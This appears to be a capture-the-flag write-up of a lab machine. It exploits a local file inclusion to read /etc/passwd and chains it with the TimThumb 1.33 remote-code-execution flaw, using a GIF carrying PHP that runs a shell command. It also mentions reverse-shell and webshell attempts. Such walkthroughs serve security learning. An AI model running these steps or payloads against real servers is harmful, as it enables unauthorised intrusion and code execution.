We are again given an ip address. Upon visiting, it turns out to be some rudimentary page. I immediately spotted a LFI vulnerability, surfing to http://10.13.37.13/?page=../../../../../../etc/passwd.
Cool, but I couldn’t get further with this. The images are apparently served by TimThumb, as I got this trying to do a LFI in http://10.13.37.13/tt.php?w=240&src=../../../../../etc/passwd:
123
file not found
Query String : w=240&src=../../../../../etc/passwd
TimThumb version : 1.33
TimThumb v1.33 is vulnerable to RCE. The trick is to upload a malicious JPEG or GIF. This image contains php code, which is also uploaded into the thumbnail. This thumbnail is then stored into the cache directory. Indeed, externally uploaded images files are uploaded there, but only from domains that are in the whitelist. Luckily, photobucket is one of them. I made a black GIF image with a little bit of php appended:
123
<?phpecho"Hi";?>
After uploading it to photobucket, I browsed to http://10.13.37.13/tt.php?w=2400&src=http://i36.photobucket.com/albums/e31/sbsebastian1/pwn_zpsa043d8a3.gif. If you then take the md5 of the request, you can figure out where this image file is saved:
This particular file was stored at ./cache/external_995e80b11b06e24b7d96ce109f4ef217 so I hit the first LFI with that image: http://10.13.37.13/?page=./cache/external_995e80b11b06e24b7d96ce109f4ef217. Besides a lot of garbage, I also got ‘Hi’. No php tags, just ‘Hi’. This meant that it was indeed executing php code! I attempted to upload a reverse php shell and a simple system($_GET['cmd']); webshell, but both failed. I suspect system() is being blocked or filtered. Frustrated, I uploaded a GIF with the following php code:
12345
...gifdata...<?phpecho"HI FROM VULNHUB-CTF";echo`ls -alh`;?>